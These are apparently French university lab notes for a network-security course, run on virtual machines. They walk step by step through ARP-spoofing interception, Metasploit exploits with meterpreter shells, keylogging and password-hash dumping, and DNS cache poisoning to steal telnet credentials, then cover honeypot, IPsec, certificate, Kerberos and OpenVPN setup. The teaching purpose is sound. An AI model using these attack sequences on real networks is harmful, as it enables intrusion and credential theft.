Table of Contents
Quelques Notes Utiles en Sécurité des Réseaux
Site Web : http://dept-info.labri.fr/~guermouc/SR
Console Qemu : Ctrl-A + C puis system_reset pour reboot une machine.
Man-in-the-Middle avec arpspoof
Obligatoirement, dans un LAN, syl souhaite intercepter les échanges entre nile et immortal.
syl$ echo 1 > /proc/sys/net/ipv4/ip_forward # on active le routage syl$ arpspoof -i eth0 -t @immortal @nile &> /dev/null & syl$ arpspoof -i eth0 -t @nile @immortal &> /dev/null & syl$ tcpdump -i eth0 -s 1500 -w /mnt/host/capture # on fait la capture syl$ pkill -9 arpspoof # on arrête arpspoof !
Votre fichier capture se trouve dans le répertoire ~/SR-QEMU-session/syl/ de votre machine hôte. Lancez Wireshark, ouvrez votre capture. Sélectionner la trame TCP qui vous intéresse et cliquez avec le bouton-droit sur “Follow TCP Stream” pour afficher tous les échanges associés à une connexion.
Metasploit
Lancer metasploit :
$ msfconsole msf >
Un exploit se prépare en plusieurs étapes :
- le choix d'un exploit (exploit) parmi une liste d'exploits disponibles dans le framework
- le choix de la cible (target)
- le choix des options
- le choix de l'attaque à réaliser (payload)
1) Attaque d'un serveur TFTP dans Windows XP SP0 English
Voici un petit exemple d'attaque d'un serveur TFTP (Allied Telesyn TFTP Server 1.9) s'exécutant sur une machine Windows XP SP0 English. Ce serveur est connu pour avoir une faille de sécurité de type stack buffer overflow !
msf > nmap -sS 192.168.56.3 # recherche des services disponible sur la machine victime ### exploit msf > show exploits msf > search ftp msf > use expoit/windows/tftp/attftp_long_filename # completion possible à partir de exploit/... msf > info ### target msf > show targets msf > set target 6 # Windows XP SP0/1 English ### options msf > show options msf > set LHOST 192.168.1.2 # local host (attaquant) msf > set RHOST 172.16.1.2 # remote host (victime) ### payloads msf > search payload/windows msf > set PAYLOAD windows/meterpreter/bind_nonx_tcp ### run exploit msf > exploit # ou run ### meterpreter meterpreter > help meterpreter > ls meterpreter > ps meterpreter > migrate 1172 # migre vers le processus 1172 (explorer dans cette session) meterpreter > shell # lancer un shell distant ! meterpreter > keyscan_start meterpreter > keyscan_dump meterpreter > keyscan_stop
Nota Bene : les payloads “windows/shell/*” ne marche pas dans ce TP… Utilisez plutôt meterpreter !
2) Attaque d'un Mozilla Firefox 7 dans Windows XP SP0 English
On peut récupèrer Firefox 7 sur http://www.oldapps.com/firefox.php…
msf > search mozilla msf > use exploit/windows/browser/mozilla_nssvgvalue msf > info msf > set TARGET 1 # Firefox 7 msf > show options msf > set SRVHOST 0.0.0.0 msf > set SRVPORT 8080 msf > set URIPATH /exploit.html msf > set PAYLOAD windows/meterpreter/bind_nonx_tcp msf > exploit
Ces options permettent de configurer le faux-serveur web sur la machine locale, où metasploit s'exécute (port # 8080). il faut maintenant que la victime sur Windows XP à se connecte via Firefox 7 à “http://192.168.0.2:8080/exploit.html”.
msf > sessions -l msf > sessions -i 1 # pour changer de session et utiliser meterpreter !!!
Pour tuer notre faux serveur web, avant de relancer l'exploit si besoin…
msf > jobs # pour lister les jobs.. msf > kill 0 # pour tuer le job 0
3) Meterpreter, pour aller plus loin...
msf > set PAYLOAD windows/meterpreter/bind_nonx_tcp # ou au choix... # msf > set PAYLOAD windows/meterpreter/reverse_tcp # attention, nonx ne fonctionne pas ici !? meterpreter > help meterpreter > hashdump Administrator:500:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0::: Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0::: HelpAssistant:1000:e3ddfcef033a10d2e90d291bb8013f0f:fcef812fa4e67dc6702c73cffe2df3bd::: lucifer:1003:bac14d04669ee1d1aad3b435b51404ee:fbbf55d0ef0e34d39593f55c5f2ca5f2::: SUPPORT_388945a0:1002:aad3b435b51404eeaad3b435b51404ee:ab152ca65206611cab918710ca4dc19b:::
Avec OPHCRACK, on effectue une attaque brute-force et on récupère le mot de passe du compte Lucifer
Nouveautés 2020-2021
Une nouvelle vulnerabilite se trouve sur nile : il s'agit d'un *vsftpd* avec une backdoor. La backdoor est decrite ci-dessous.
https://www.hackingtutorials.org/metasploit-tutorials/exploiting-vsftpd-metasploitable/
Attention, une fois l'exploit réussi, il faut rejoindre un shell en background.
Par ailleurs, la commande suivante permet de scanner 192.168.1.2 et de trouver s'il y a des services vulnerables et de proposer dans la foulée l'exploit a utiliser.
nmap -sS 192.168.1.2 -vv --script vuln
4) D'autres attaques à tester sur Windows XP
- http://www.rapid7.com/db/modules/exploit/windows/dcerpc/ms03_026_dcom (service msrpc, tcp/135, faire un search dcom dans metasploit…)
Biblio (à compléter)
DNS Cache Poisonning
Scenario : Nile se connecte périodiquement à Atg en telnet. Ainsi, Nile effectue périodiquement une requête DNS auprès de Immortal, qu'il transmet à un autre serveur DNS, Grave, qui connait la réponse (i.e. l'adresse IP associé au nom de domaine de Atg). La durée de vie du cache DNS de Immortal est de 1mn.
Nous souhaitons usurper les identifiants (login/password) que Nile utilise pour se connecter à Atg. Nous avons accès à deux machines Syl et surtout Dt qui se trouve astucieusement en placer entre les deux serveurs DNS Immortal et Grave.
Sur Dt, on écoute le traffic DNS (UDP, port 53) entre Immortal et Grave. En utilisant tcpdump et wireshark, on découvre le nom de domaine de Atg : atg.gfd.net et son adresse IP avec la commande nslookup : 172.16.21.23. Nota Bene : Cette étape n'est pas toujours facile, car il y a beaucoup de traffic entre les deux serveurs DNS.
On va ensuite configurer un faux serveur DNS (dnsmasq) sur Dt qui va intercepter les requêtes à destination de Grave et formuler une “fausse” réponse, en associant l'adresse IP de Syl (192.168.0.2) au nom atg.gfd.net !
# configuration de dnsmasq dt$ echo "192.168.0.2 atg.gfd.net" > /etc/dnsmasq.hosts dt$ /etc/init.d/dnsmasq restart # test local du faux serveur dt$ nslookup atg.gfd.net localhost # la réponse doit être @syl # redirection du traffic DNS vers le faux serveur dt$ iptables -t nat -A PREROUTING -p udp --dport 53 -j REDIRECT --to-ports 53 # test distant du faux serveur syl$ nslookup atg.gfd.net # la réponse doit être @syl
A partir de ce moment, Nile qui effectue périodiquement la commande “telnet atg.gfd.net” va en fait envoyer sa requête telnet à @syl ! En effectuant, un tcpdump sur Syl, on peut vérifier que nile.xyz.com (192.168.20.2) effectue des tentatives de connexions telnet. Nous allons rediriger ces connections TCP (port 23) vers la vraie machine Atg pour mettre en place notre Man-in-the-Middle…
nile$ tcpdump -s 1500 -w /mnt/host/capture &> /dev/null & nile$ /root/redirect.sh 23 172.16.21.23
Le script redirect.sh utilise sur Syl deux netcat (client & serveur) reliés via 2 pipes nommés pour rediriger la connexion TCP/IP vers Atg dans les deux sens. Il faut patienter une minute au moins et faire plusieurs tentatives, pour finalement intercepter les identifiants de la session Telnet avec Wireshark !!!
IPS Suricata
Honey Pot
Attention : ces notes n'ont pas été remise à jour…
On installe le honeypot sur syl (192.168.0.2), qui va simuler un réseaux 10.0.0.0/8.
Routage
immortal$ route add -net 10.0.0.0/8 dev eth1 ou immortal$ route add -net 10.0.0.0/8 gw 192.168.0.2
Daemon ARP
En ligne de commande :
syl$ farpd -d -i eth0 10.0.0.0/8 &
Faites un ping depuis opeth vers 10.0.0.1 et vérifiez que syl reçoit ce message. Si c'est le cas, vous pouvez mettre en place le honey pot.
Honeypot
Configurer le fichier /etc/default/honeyd
RUN="yes" INTERFACE="eth0" NETWORK="10.0.0.0/8"
syl$ /etc/init.d/honeyd restart
On vérifie les erreurs potentielles dans /var/log/honeypot/*.log. Avertissement : Le daemon honeyd renvoie un message “failed” systématiquement, même s'il fonctionne correctement !!!
Configuration du honeypot
Configurer le réseau simulé dans le fichier /etc/honeypot/honeyd.conf. Remplacez ce fichier par le fichier suivant. Les # sont des commentaires. Ce fichier instancie deux machines 10.0.0.1 et 10.0.0.2 avec des profils et des services différents.
- honeyd.conf
create default set default default tcp action block set default default udp action block set default default icmp action block # Example of a simple host suse80 and its binding create suse80 set suse80 personality "Linux 2.4.7 (X86)" set suse80 default tcp action reset set suse80 default udp action block set suse80 default icmp action open set suse80 uptime 79239 set suse80 droprate in 4 add suse80 tcp port 21 "sh /usr/share/honeyd/scripts/unix/linux/suse8.0/proftpd.sh $ipsrc $sport $ipdst $dport" add suse80 tcp port 22 "sh /usr/share/honeyd/scripts/unix/linux/suse8.0/ssh.sh $ipsrc $sport $ipdst $dport" add suse80 tcp port 80 "sh /usr/share/honeyd/scripts/unix/linux/suse8.0/apache.sh $ipsrc $sport $ipdst $dport" #add suse80 tcp port 23 "sh scripts/unix/linux/suse8.0/telnetd.sh $ipsrc $sport $ipdst $dport" #add suse80 tcp port 25 "sh scripts/unix/linux/suse8.0/sendmail.sh $ipsrc $sport $ipdst $dport" #add suse80 tcp port 79 "sh scripts/unix/linux/suse8.0/fingerd.sh $ipsrc $sport $ipdst $dport" #add suse80 tcp port 110 "sh scripts/unix/linux/suse8.0/qpop.sh $ipsrc $sport $ipdst $dport" #add suse80 tcp port 143 "sh scripts/unix/linux/suse8.0/cyrus-imapd.sh $ipsrc $sport $ipdst $dport" #add suse80 tcp port 515 "sh scripts/unix/linux/suse8.0/lpd.sh $ipsrc $sport $ipdst $dport" #add suse80 tcp port 3128 "sh scripts/unix/linux/suse8.0/squid.sh $ipsrc $sport $ipdst $dport" #add suse80 tcp port 8080 "sh scripts/unix/linux/suse8.0/squid.sh $ipsrc $sport $ipdst $dport" #add suse80 tcp port 8081 "sh scripts/unix/linux/suse8.0/squid.sh $ipsrc $sport $ipdst $dport" #add suse80 udp port 53 proxy 24.35.0.12:53 bind 10.0.0.1 suse80 # Example of a simple host WIN and its binding create WIN set WIN personality "Microsoft Windows XP SP1" set WIN uptime 1728650 set WIN maxfds 35 add WIN tcp port 80 "sh /usr/share/honeyd/scripts/win32/web.sh" add WIN tcp port 22 "/usr/share/honeyd/scripts/test.sh $ipsrc $dport" set WIN default tcp action reset bind 10.0.0.2 WIN
Test
syl$ tail -f /var/log/honeypot/honeyd.log # pour afficher en continu l'activité réseau du honeypot opeth$ ping 10.0.0.1 opeth$ traceroute -T 10.0.0.1 # TCP plutôt que UDP opeth$ nmap -O 10.0.0.1 # OS guess opeth$ xprobe2 10.0.0.1 # OS guess
IPSEC avec racoon
: Corriger les adresses IPs.
Configuration LAN-to-LAN d'un tunnel IPSEC entre les gateways immortal et syl.
OPETH ------ IMMORTAL ===== TUNNEL IPSEC ====== SYL ------ NILE (LAN) GW GW (LAN) 192.168.0.0/24 192.168.1.2 172.16.0.2 10.0.0.0/24
La configuration s'effectue en 2 étapes :
- on dit via setkey quel traffic doit utiliser IPSEC plutôt que IP → /etc/ipsec-tools.conf
- on configure via l'IKE racoon comment IPSEC doit fonctionner (négociation des clefs, algo encryptage, …) → /etc/racoon/racoon.conf
Génération du PSK (Pre Shared Secret)
immortal$ dd if=/dev/random count=24 bs=1 |xxd -ps a1e27a604351ffd147f82b50a4f7bcf60d04822c93fa1efd
Attention à utiliser /dev/random (et non /dev/urandom), mais il faut générer de l'entropie dans le système en bougeant la souris par exemple !!!
Dans le fichier /etc/racoon/psk.txt de immortal, vous ajoutez votre secret :
# remote @IP key 24 bytes (en hexadecimal) 172.16.0.2 0xa1e27a604351ffd147f82b50a4f7bcf60d04822c93fa1efd
Ne pas oublier le “0x” en préfixe de la clef hexadecimal ! Faire de même pour la gateway syl (avec la même clef évidemment)
Nota Bene : par la suite on utilisera des certificats pour assurer l'authentifcation, plutôt qu'un secret partagé.
Configuration de l'IKE Racoon
IKE = Internet Key Exchange. Protocole standard sous-jacent : isakmp (phase1 ou phase2), implanté ici par Racoon. Fichier de configuration : /etc/racoon/racoon.conf
Protocole de négociation des paramètres de sécurité en deux phases :
- IKE Security Negotiation (section proposal)
- IKE IPSEC Negotiation (section sainfo)
Une connexion IPSEC regroupe (au moins) deux SA (security association), une SA étant unidirectionnelle…
Quelques paramètres :
- dh_group : diffie-helman (DH) pour la génération des clefs de session symétrique utilisé dans la phase 1 (plusieurs groupes possibles, ex. 1024 bits)
- pfs_group (perfekt forwarding secrecy) : nouveau DH utilisée pour la phase 2
- /etc/racoon/racoon.conf
path pre_shared_key "/etc/racoon/psk.txt"; # adresse publique de la GW distante remote 172.16.0.2 { proposal { encryption_algorithm aes; hash_algorithm sha1; authentication_method pre_shared_key; dh_group modp1024; } verify_identifier on; peers_identifier address; exchange_mode main; } # communication LAN-to-LAN sainfo address 192.168.0.0/24 [any] any address 10.0.0.0/24 [any] any { pfs_group modp1024; encryption_algorithm aes,3des; authentication_algorithm hmac_sha1,hmac_md5; compression_algorithm deflate; }
Faire de même pour la gateway syl
Attention : authentification en anglais s'écrit authentication !
Memento pour racoon.conf :
sainfo (source_id destination_id | source_id anonymous | anonymous destination_id | anonymous) { ... } source_id = address address [/ prefix] [[port]] ul_proto exemple : address 192.168.0.0/24 [any] any
Configuration des politiques de sécurité avec Setkey
Setkey : gestion des SPD (Security Policy Database)
On peut également forcer des SA manuellement dans “ipsec-tools.conf” mais dans ce cas là, on utilise pas IKE…
On pourra utiliser le protocole de communication pour IPsec : AH ou ESP ou les deux.
- AH (Authentication Header) : authentification + intégrité. Utilisation d'une fonction de hash cryptographique et simple ajout du AH header (pas de chriffrement des data IP qui sont en clair).
- ESP (Encapsultated Security Payload) : chiffrement et authentification ajout d'un ESP Header / ESP trailer et ESP auth. Contrairement à AH, le header IP extérieur de ESP n'est pas protégé ! AH a tendance à disparaître au profit de ESP. La différence principale entre ESP et AH, vient du fait que ESP chiffre les données (payload), et pas AH.
On peut choisir à ce niveau le mode transport ou tunnel…
- Transport : Dans le mode transport, seul les data IP sont protégés, mais pas le header, mais cela n'a pas d'intérêt dans le cas host-to-host, où les IP src/dst sont de toute façon connues !
- Tunnel : Dans le mode tunnel, le paquet IP entier (header + data) est protégé et encapsulé dans un autre paquet IP par la gateway… les IP src/dst des LANs sont masqués.
Dans le cas LAN-to-LAN, on préfèrera le mode tunnel, alors que pour du host-to-host on choisira plutôt le mode transport…
Nota Bene: roadwarriors (client volatile, IP anonymous, authentifé par un certificat)
- /etc/default/setkey
# Set to "no" to disable loading ipsec.conf on startup RUN_SETKEY=yes
- /ipsec-tools.conf
#!/usr/sbin/setkey -f # NOTE: Do not use this file if you use racoon with racoon-tool # utility. racoon-tool will setup SAs and SPDs automatically using # /etc/racoon/racoon-tool.conf configuration. # ## Flush the SAD and SPD flush; spdflush; # paquet sortant (out, src-dst) spdadd 192.168.0.0/24[any] 10.0.0.0/24[any] any -P out ipsec esp/tunnel/192.168.1.2-172.16.0.2/require; # paquet entrant (in, src-dst) spdadd 10.0.0.0/24[any] 192.168.0.0/24[any] any -P in ipsec esp/tunnel/172.16.0.2-192.168.1.2/require;
Faire de même pour la gateway syl. Changer ESP en AH dans la config…
Démarrage
immortal$ /etc/init.d/setkey restart && /etc/init.d/racoon restart syl$ /etc/init.d/setkey restart && /etc/init.d/racoon restart
En cas de problème
immortal$ tail /var/log/syslog
On peut augmenter le loglevel dans racoon.conf:
# Log level is one of following: error, warning, notify, info, debug and debug2. log debug;
Un petit test
Depuis une machine du tunnel (grave), on lance tcpdump pour contrôler le traffic échangé. On intercepte un premier ping qui circule entre opeth et nile. On voit l'IKE faire son job (négociation ISAKMP). Puis après on ne voit pas d'ICMP mais du ESP (les adresses src et dst sont remplacées par celle des gateways, mode tunnel).
09:51:35.610567 IP 192.168.1.2.isakmp > 172.16.0.2.isakmp: isakmp: phase 1 I ident 09:51:35.622455 IP 172.16.0.2.isakmp > 192.168.1.2.isakmp: isakmp: phase 1 R ident 09:51:35.650666 IP 192.168.1.2.isakmp > 172.16.0.2.isakmp: isakmp: phase 1 I ident 09:51:35.670857 IP 172.16.0.2.isakmp > 192.168.1.2.isakmp: isakmp: phase 1 R ident 09:51:35.707636 IP 192.168.1.2.isakmp > 172.16.0.2.isakmp: isakmp: phase 1 I ident[E] 09:51:35.711302 IP 172.16.0.2.isakmp > 192.168.1.2.isakmp: isakmp: phase 1 R ident[E] 09:51:35.712150 IP 172.16.0.2.isakmp > 192.168.1.2.isakmp: isakmp: phase 2/others R inf[E] 09:51:35.713748 IP 192.168.1.2.isakmp > 172.16.0.2.isakmp: isakmp: phase 2/others I inf[E] 09:51:36.716755 IP 192.168.1.2.isakmp > 172.16.0.2.isakmp: isakmp: phase 2/others I oakley-quick[E] 09:51:36.740753 IP 172.16.0.2.isakmp > 192.168.1.2.isakmp: isakmp: phase 2/others R oakley-quick[E] 09:51:36.742167 IP 192.168.1.2.isakmp > 172.16.0.2.isakmp: isakmp: phase 2/others I oakley-quick[E] 09:51:37.607221 IP 192.168.1.2 > 172.16.0.2: ESP(spi=0x0868526a,seq=0x1), length 132 09:51:37.608881 IP 172.16.0.2 > 192.168.1.2: ESP(spi=0x0d2380d8,seq=0x1), length 132 09:51:38.611715 IP 192.168.1.2 > 172.16.0.2: ESP(spi=0x0868526a,seq=0x2), length 132 09:51:38.612711 IP 172.16.0.2 > 192.168.1.2: ESP(spi=0x0d2380d8,seq=0x2), length 132 09:51:39.610716 IP 192.168.1.2 > 172.16.0.2: ESP(spi=0x0868526a,seq=0x3), length 132 09:51:39.611679 IP 172.16.0.2 > 192.168.1.2: ESP(spi=0x0d2380d8,seq=0x3), length 132 09:51:40.600353 ARP, Request who-has 192.168.1.1 tell 192.168.1.2, length 28 09:51:40.600461 ARP, Reply 192.168.1.1 is-at a2:00:00:00:03:00 (oui Unknown), length 28
Utilisation du mode transport
Attention, on ne fait plus du LAN-to-LAN, mais du HOST-to-HOST, entre immortal et syl…
Ce qu'il faut ajouter…. par exemple sur immortal
1) Dans /etc/racoon/racoon.conf, il faut ajouter une SA pour le transport:
sainfo address 192.168.1.2 any address 172.16.0.2 any { pfs_group modp1024; encryption_algorithm aes,3des; authentication_algorithm hmac_sha1,hmac_md5; compression_algorithm deflate; }
2) Ce qu'il faut ajouter dans /etc/ipsec-tools.conf
spdadd 192.168.1.2 172.16.0.2 any -P out ipsec esp/transport//require; spdadd 172.16.0.2 192.168.1.2 any -P in ipsec esp/transport//require;
Génération des Certificats
→ utilisation de certtool, pas de passphrase pour protéger les clés privés par défaut.
1) génération du certificat du CA (et de sa clef privée)
$ certtool --generate-privkey --outfile ca.key $ certtool --generate-self-signed --load-privkey ca.key --outfile ca.crt
Réponses :
- la plupart des champs peuvent rester vides
- Common name: CA
- The certificate will expire in (days): 255
- Does the certificate belong to an authority? (y/N): y
- Will the certificate be used to sign other certificates? (y/N): y
Afficher les infos du certificat :
$ certtool --certificate-info --infile ca.crt
2) génération du certificat de la machine immortal signée par le CA (et de sa clef privée)
$ certtool --generate-privkey --outfile immortal.key $ certtool --generate-certificate --load-privkey immortal.key --outfile immortal.crt --load-ca-certificate ca.crt --load-ca-privkey ca.key
- la plupart des champs peuvent rester vides
- CN=@IP
- DNSName=@IP
- IP address=@IP
- The certificate will expire in (days): 255
- Does the certificate belong to an authority? (y/N): N
Et pour le test avec GNUTLS, il faut aussi :
- Will the certificate be used for signing (required for TLS)? (y/N): y
- Will the certificate be used for encryption (not required for TLS)? (y/N): y
3) Afficher les infos du certificat
$ certtool --certificate-info --infile immortal.crt
Test des Certificats
Sur la machine qui a servi a généré les certificats, on va lancer le serveur GNUTLS.
dt$ gnutls-serv --x509keyfile dt.key --x509certfile dt.crt
Set static Diffie Hellman parameters, consider --dhparams. Processed 1 CA certificate(s). Echo Server ready. Listening to port '5556'.
On copie le certificat du CA sur syl, puis on lance le client GNUTLS.
dt$ scp ca.crt toto@172.16.0.2:/root/
syl$ gnutls-cli --x509cafile ca.crt -p 5556 147.210.0.2 Connecting to '147.210.0.2:5556'... ... # The hostname in the certificate matches '147.210.0.2'. # Subject's DN: CN=147.210.0.2 # Issuer's DN: CN=CA ... - Peer's certificate is trusted ... - Handshake was completed
Notez que le serveur est TRUSTED, car on dispose du certificat du CA pour l'authentifier ! C'est le schéma typique de HTTPS.
Le client peut également envoyer son certificat, afin que le serveur puisse également l'authentifié. C'est le schéma typique de IPSEC.
dt$ gnutls-serv -r --x509cafile ca.crt --x509keyfile dt.key --x509certfile dt.crt syl$ gnutls-cli --x509cafile ca.crt --x509keyfile syl.key --x509certfile syl.crt -p 5556 147.210.0.2
Dans ce cas, le message “Peer's certificate is trusted” est affiché pour le client et le serveur. CQFD
Pour test GNUTLS en tant que serveur HTTP, plutôt que ECHO :
- côté serveur, ajouter l'option : –http -p 443
- côté client, ajouter l'option : -p 443
Ensuite, GET / HTTP/1.0
IPSEC avec LibreSwan
Considérons les certificats suivants (ainsi que les clés privés) pour le CA, syl et immortal :
ca-cert.pem ca-key.pem immortal-cert.pem immortal-key.pem syl-cert.pem syl-key.pem
Pour afficher le contenu du certificat :
certtool -i < dt-cert.pem | more
Il faut commencer par générer des fichiers PCKS#12 avant de les importer dans la base NSS/SQL. Pour faire simple, on donnera comme id/password “syl”/“syl” pour le fichier syl.p12. Plus concrètement, il faut taper sur immortal les commandes suivantes :
# génération fichier immortal.p12 (sur immortal) immortal# certtool --load-certificate immortal-cert.pem --load-privkey immortal-key.pem \ --load-ca-certificate ca-cert.pem --to-p12 --outder --outfile immortal.p12
# génération fichier syl.p12 (sur immortal, sans clé privé) immortal# certtool --load-certificate syl-cert.pem --load-ca-certificate ca-cert.pem \ --to-p12 --outder --outfile syl.p12 # RAZ de la base NSS immortal# rm -f /var/lib/ipsec/nss/*; ipsec initnss
# import dans la base NSS immortal# ipsec import immortal.p12 immortal# ipsec import syl.p12
Faire de même sur syl. On peut vérifier que l'import s'est bien fait avec les commandes suivantes :
immortal# certutil -L -d sql:/var/lib/ipsec/nss # on voit les certifs de immortal, syl et CA immortal# certutil -K -d sql:/var/lib/ipsec/nss # on voit uniquement la clé de immortal
Configuration d'un Tunnel
Configuration LAN-to-LAN d'un tunnel IPSEC entre les gateways Immortal et Syl
On considère la configuration suivante ; attention, les IPs ne sont pas à jour !
OPETH ------ IMMORTAL ===== tunnel ipsec ====== SYL ------ NILE (LAN) GW GW (LAN) 192.168.0.0/24 192.168.1.2 172.16.0.2 10.0.0.0/24
Les éléments de configuration importants entre les deux HOSTs (transport) ou les deux LANs (tunnel).
Tout d'abord, il faut comprendre que “left” représente vous-même, tandis que “right” représente votre vis-à-vis.
Par exemple, sur la machine immortal (192.168.1.2), gateway du lan 192.168.0.0/24, que l'on souhaite connecté par un tunnel IPSec au lan 10.0.0.0/24 dont syl (172.16.0.2) est la gateway.
Attention à ne pas mélanger les adresse publiques/privées pour la gateway en mode tunnel !
- type= tunnel # tunnel ou transport
- left= 192.168.1.2 # adresse public de la gateway du lan en mode tunnel
- leftsubnet= 192.168.0.0/24 # adresse du réseau privé (mode tunnel seulement)
- leftcert= immortal # ID certificat associé à immortal
- right= 172.16.0.2
- rightsubnet= 10.0.0.0/24
- rightcert= syl
Nota Bene : La machine immortal doit disposer des certificats immortal.crt et syl.crt en local, ainsi que du certificat de l'autorité de certification (CA).
#/etc/ipsec.conf @ immortal version 2.0 # basic configuration config setup plutodebug= all plutostderrlog=/var/log/pluto.log protostack=netkey nat_traversal=no nhelpers=0 # Add connections here conn tunnelipsec type= tunnel left= 192.168.1.2 leftsubnet= 192.168.0.0/24 leftcert= immortal right= 172.16.0.2 rightsubnet= 10.0.0.0/24 rightcert= syl phase2alg= aes-sha1
Sur immortal, il faut ajouter dans /etc/ipsec.secrets :
# /etc/ipsec.secrets : RSA immortal
Faire de même sur syl…
Attention : Dans /etc/ipsec.secrets, ne pas oublier l'espace entre : et RSA, ainsi que le retour à la ligne à la fin !!! Dans /etc/ipsec.conf, ne pas oublier les tabulations après la ligne “conn tunnelipsec” et le retour à la ligne tout à la fin !!!!
Pour démarrer le tunnel ipsec :
immortal# service ipsec restart immortal# ipsec auto --add tunnelipsec immortal# ipsec auto --up tunnelipsec
Configuration d'un Road Warrior
TODO: Mettre à jour
OPETH ------ IMMORTAL ===== tunnel ipsec ====== DT (LAN) GW ROAD WARRIOR 192.168.0.0/24 192.168.1.2 147.210.0.2
# /etc/ipsec.conf @ immortal version 2.0 # basic configuration config setup plutodebug= all plutostderrlog=/var/log/pluto.log protostack=netkey nat_traversal=no nhelpers=0 # Add connections here # Using simple ID (@dt) conn roadwarrior type= tunnel leftcert= immortal.crt left= 192.168.1.2 leftsubnet= 192.168.0.0/24 right= %any # anybody rightcert= dt.crt rightid= @dt
# /etc/ipsec.conf @ dt version 2.0 # basic configuration config setup plutodebug= all plutostderrlog=/var/log/pluto.log protostack=netkey nat_traversal=no nhelpers=0 # Add connections here # Using simple ID (@dt) conn roadwarrior type= tunnel rightcert= immortal.crt right= 192.168.1.2 rightsubnet= 192.168.0.0/24 leftcert= dt.crt left= %defaultroute leftid= @dt
# /etc/ipsec.secrets @ syl : RSA dt.key ""
Démarrage. Sur chaque extrémité du tunnel, il faut lancer :
$ /etc/init.d/ipsec restart
Puis, sur les deux, on lance :
$ ipsec auto --add tunnelipsec
Puis, sur l'une des deux (ou sur le client dans la config roadwarrior), on lance :
$ ipsec auto --up tunnelipsec
Ensuite, on peut tester un PING entre opeth et nile ou dt selon la config. En effectuant un tcpdump sur grave, on doit uniquement voir circuler un traffic encripté du type ESP (Encapsultated Security Payload). Notons que dans la phase 1 & 2 d'initialisation de l'IKE, le protocole utilisé est ISAKMP.
Test tunnelipsec
Depuis opeth, ping 10.0.0.2 (nile)…
Un tcpdump sur grave doit montrer uniquement de l'ESP entre les GWs
13:36:12.962705 IP 192.168.1.2 > 172.16.0.2: ESP(spi=0x40be009e,seq=0x6), length 116 13:36:12.963475 IP 172.16.0.2 > 192.168.1.2: ESP(spi=0xeeddc86c,seq=0x6), length 116
Kerberos
On considère le LAN suivant avec le domain DNS metal.fr déjà configuré.
- opeth (serveur kerberos)
- immortal et opeth (client kerberos)
1) Configurer le fichier /etc/krb5.conf sur client et serveur
2) Ajouter sur le serveur dans le fichier /etc/krb5kdc/kdc.conf
[realms] METAL.FR = { database_name = /var/lib/krb5kdc/principal admin_keytab = FILE:/etc/krb5kdc/kadm5.keytab acl_file = /etc/krb5kdc/kadm5.acl key_stash_file = /etc/krb5kdc/stash ... }
3) Création de la base de donnée Kerberos sur le serveur
$ kdb5_util create -s mot de passe : toto
4) Créer le fichier /etc/krb5kdc/kadm5.acl en y ajoutant
*/admin@METAL.FR *
5) Administration de Kerberos sur le serveur… Toutes les commandes :
opeth$ kadmin.local -> Authenticating as principal root/admin@METAL.FR with password. kadmin.local: addprinc -randkey host/immortal.metal.fr -> Principal "host/immortal.metal.fr@METAL.FR" created. kadmin.local: addprinc -randkey host/opeth.metal.fr -> Principal "host/opeth.metal.fr@METAL.FR" created. kadmin.local: ktadd -k /tmp/tmp.keytab host/immortal.metal.fr opeth$ scp /tmp/tmp.keytab toto@immortal:/tmp/ immortal$ cp /tmp/tmp.keytab /etc/krb5.keytab opeth$ rm /tmp/tmp.keytab opeth$ kadmin.local kadmin.local: ktadd -k /tmp/tmp.keytab host/opeth.metal.fr opeth$ cp /tmp/tmp.keytab /etc/krb5.keytab opeth$ kadmin.local kadmin.local: addprinc toto@METAL.FR -> Enter password for principal "toto@METAL.FR": => ktoto -> Re-enter password for principal "toto@METAL.FR": => ktoto -> Principal "toto@METAL.FR" created. kadmin.local: listprincs # affiche tous les principes générés
Remarques : La commande addprinc permet d'ajouter des principes “host/*” au KDC. On extrait les clefs associées pour que le serveur partage chaque clef avec les clients correspondants. La commande addprinc permet également d'ajouter des principes “user”. Dans ce cas précis, le secret partagé sera le mot-de-passe saisie de manière interactive avec la commande kinit. Donc, ktadd inutile.
Pour vérifer les clés installés sur les clients :
immortal$ ktutil ktutil> rkt /etc/krb5.keytab ktutil> l # list keys
6) Démarrage du serveur
opeth$ /etc/init.d/krb5-kdc restart immortal$ kinit toto Password for toto@METAL.FR: => ktoto immortal$ klist Ticket cache: FILE:/tmp/krb5cc_0 Default principal: toto@METAL.FR Valid starting Expires Service principal 12/02/10 14:54:33 12/03/10 00:54:33 krbtgt/METAL.FR@METAL.FR renew until 12/03/10 14:54:29
7) Test FTP
immortal$krb5-ftp opeth Connected to opeth.metal.fr. 220 opeth FTP server (Version 5.60) ready. 334 Using authentication type GSSAPI; ADAT must follow GSSAPI accepted as authentication type GSSAPI authentication succeeded Name (opeth:root): toto 232 GSSAPI user toto@METAL.FR is authorized as toto Remote system type is UNIX. Using binary mode to transfer files. ftp>
OK ça marche !!!
8) PAM
PAM permet d'automatiser l'athentification avec Kerberos.
immortal$ pam-auth-update [*] Kerberos authentication [*] Unix authentication [ ] LDAP Authentication [ ] Inheritable Capabilities Management
Utilisation de Kerberos de manière transparente…
immortal$ ssh toto@opeth
Si je vire le ticket avec kdestroy, alors :
immortal$ ssh toto@opeth toto@opeth's password: => toto (UNIX password)
Maintenant, on ferme la session, et on se connecte en tant que “toto”… Un ticket Kerberos est automatiquement créé…
immortal login: toto Password: => ktoto (KERBEROS PASSWORD) Last login: Thu Dec 2 15:04:31 UTC 2010 on tty1 Linux immortal 2.6.32 #2 Sat Jan 9 04:37:12 UTC 2010 i686 toto@immortal:~$ klist Ticket cache: FILE:/tmp/krb5cc_1000_S6Rufn Default principal: toto@METAL.FR Valid starting Expires Service principal 12/02/10 15:05:54 12/03/10 01:05:54 krbtgt/METAL.FR@METAL.FR renew until 12/03/10 01:05:54
OpenVPN
On commence par générer les certificats comme indiqué sur la feuille de TD :
- CN=server sur immortal
- CN=client1 sur nile
- CN=client2 sur dt
VPN (niveau 3)
Mise en oeuvre d'un VPN de niveau 3 (IP, interface tun) entre immortal (server, 172.16.0.2) et nile (client1, 10.0.0.2).
On va ensuite lancer le serveur manuellement avec la commande :
